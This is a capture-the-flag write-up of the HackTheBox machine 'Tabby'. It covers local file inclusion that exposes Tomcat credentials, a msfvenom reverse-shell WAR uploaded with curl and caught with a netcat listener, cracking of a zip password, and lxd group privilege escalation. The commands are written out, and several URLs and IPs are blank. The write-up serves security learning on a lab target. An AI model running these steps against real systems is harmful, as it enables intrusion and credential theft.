Tabby – HackTheBox writeup

Tabby is a retired vulnerable Linux machine available from HackTheBox. The machine makers are egre55, thank you. It has an Easy difficulty with a rating of 4.8 out of 10. This is a nice box. I enjoy it and learn something new.

Kali Linux is used to carry out the enumeration, exploitation and privilege escalation.

Exploitation Summary (tap to reveal)

Initial Exploitation

  • Vulnerability: Credentials exposure via Local File Inclusion (LFI). Then Remote Code Execution through Tomcat
  • Explanation: Website is vulnerable to LFI leading to Tomcat credentials exposure. Then by taking advantage of Tomcat manager-script role, payload can be uploaded & deployed and thus allowing remote code execution

Lateral Movement – from Tomcat

  • Vulnerability: Weak password and password reuse
  • Explanation: Weak password is used to protect a backup zip file that can be cracked easily using dictionary attack. Same password is used for system login gaining access to user ash

Privilege Escalation

  • Vulnerability: Abuse of lxd group privilege
  • Explanation: lxd group privilege allows user to start a new container with root access that mirror the exact file system of the machine. Thus allowing access to all files in the machine. But this method does not actually grant root access to the machine, only within the container.


nmap -p- -A -T4
TCP 22: OpenSSH 8.2p1
TCP 80: Apache httpd 2.4.41
TCP 8080: Apache Tomcat

Initial Exploitation

There are only 3 ports open: SSH, HTTP Website and Tomcat at port 8080. SSH is using OpenSSH 8.2p1 which is a relative new version. It’s unlikely to be the attack vector.

A quick check on SSH also shows that SSH service only allows public key authentication. So we can’t even login using password unless SSH authorized_keys is setup for a user and we are able to find user’s private key. So let’s move on and check out the website:


Most links are pointing to the same page. But there’s webpage about a recent data breach at http://megahosting.htb/news.php?file=statement. Adding megahosting.htb to /etc/hosts or changing it to will get us to the page:

data breach statement

Apparently, the webpage is loading the page information from a file with a parameter value statement. This could be an attack vector for Local File Inclusion. Before attempting the parameter tempering, I did couple directory scans using gobuster:

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307,401" -x "txt,html,php"

Found /files folder. Looks like a folder that would contain some juicy files:

gobuster dir -u -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php"
gobuster 2

Found a folder /archive and a file statement in /files folder. Further scan on /files/archive did not yield any additional information. Let’s check out the statement file:


The file stores the data breach statement. Apparently, this is the file loaded by the news.php file.

Assuming the website is using default location of /var/www/html, a quick parameter tempering on http://megahosting.htb/news.php?file=statement did expose the LFI vulnerability and allow us to access /etc/passwd file

This reveals couple users of interests: tomcat & ash. What other information we can obtain through this vulnerability? Let’s checkout the Tomcat website first:

tomcat webpage

The Tomcat webpage tells us some great information, including the installation locations and users information defined at /etc/tomcat9/tomcat-users.xml. Since further access to Tomcat manager and host-manager webapp require credentials, it would be great if we can obtain Tomcat users information. Let’s try retrieve it using LFI:

Unfortunately, no information is retrieved. Looks like that’s not the where tomcat-users.xml is located. I then switch to Google trying to find file list of Tomcat 9 installation. There are several different ones but with some trial and error on different lists, I am able to identify the right list to locate where tomcat-users.xml is:
file list

I am able to retrieve users information at


Awesome! We find credentials tomcat:$3cureP4s5w0rd123! with roles admin-gui and manager-script. With admin-gui role, we can access host-manager webapp but not manager webapp.

Unfortunately the user does not have access to manager webapp because that’s where you can upload java war file to perform remote code execution. Anyhow, let’s check out the credentials:

tomcat login
host manager

Wonderful, we gain access to the host manager webapp. After spending time browsing around the webapp, it doesn’t seem to have a way to exploit. I then remember the user has another role manager-script. Googling it quickly points me to a possible exploit using this role:


Reading through the article shows that manager-script role grants user ability to access text interface and that allows us to upload war file to Tomcat and then we can perform remote code execution:

Step 1: create a payload using nsfvenom

nsfvenom -p java/shell_reverse_tcp lhost= lport=4000 -f war -o pwn.war

Step 2: start netcat listening to port 4000

nc -nvlp 4000

Step 3: access Tomcat text interface to upload our payload

curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file pwn.war ""
war file upload

Step 4: navigate to /hack war file

initial shell obtained

Beautiful, we get in as user tomcat.

Lateral Movement

Quick check at /home directory shows only user ash has a folder there. And we don’t have access to ash’s folder. So next step is to try gaining access as user ash to obtain the user flag.

I then do some standard enumeration and quickly land on a file owned by ash that seems interesting:


I download the file available at and try to unzip it for some juicy files. However, files inside the zip file are password protected and the file listing doesn’t show any files that store any interesting information.

So I turn to password cracking trying to find the password of the zip file:

Step 1: extract hash from the zip file

zip2john > hash

Step 2: crack the password using John the Ripper

john hash --wordlist=/usr/share/wordlists/rockyou.txt
password cracked

Awesome, password admin@it found. Let’s try to use it to login as ash:

shell as ash

Bingo! We login successfully as ash and retrieved the user flag.

Privilege Escalation

I like to perform manual enumeration as much as possible. While it takes more time, it’s good practice for me to keep my skills fresh. Unfortunately, this time doesn’t land me on anything interesting. So I turn to to see if I miss anything. Sure I did:

User ash is member of group lxd and looks like I should check it out. This is not a normal group we usually see. Should have spotted it.

searchsploit lxd

Sure enough there is an exploit to take advantage of lxd group privilege.

In addition to this available exploit, you can find many articles on Google talking about this. LXD is Linux Containers. User with lxd group privilege can create and start Linux containers. Exploiting this vulnerability would allow full access to all files in the machine.

Please note that this exploit, however, does not grant full root access to the machine.

Step 1: create alpine container image

git clone
cd lxd-alpine-builder/
alpine build

Step 2: upload exploit script and alpine image to target machine

I experienced syntax error when executing the exploit script at the target machine. It’s most likely some format error between Windows and Linux. A quick conversion using dos2unix will fix the problem. Then starts a webserver to host the files for upload:

python -m SimpleHTTPServer 80

at target machine:

mkdir .hack
cd .hack
upload files

Step 3: execute the exploit

Ensure the exploit is done under /home/ash folder. I initially tried the exploit at /tmp folder but kept getting a weird File not found error of the alpine image but the image file was definitely there. I moved to /var/tmp with the same error but finally am able to pull off the exploit after moving to /home/ash folder.

I have no clue why this happened. Searching Goolge didn’t help me with an answer. So if you know the reason of this strange behavior, please comment and educate me. Thanks

bash ./ -f alpine-v3.12-x86_64-20200913_0925.tar.gz
root flag

Awesome! The exploit runs successfully and allows me to access all files at mount /mnt/root. Hence the root flag is obtained.

Unfortunately, this is one of the rare boxes I am not able to obtain complete root access. If you know of a way of obtaining full root access, other than cracking /etc/shadow file, please comment and point me a direction!

Happy Hacking!

Leave a Reply

Close Menu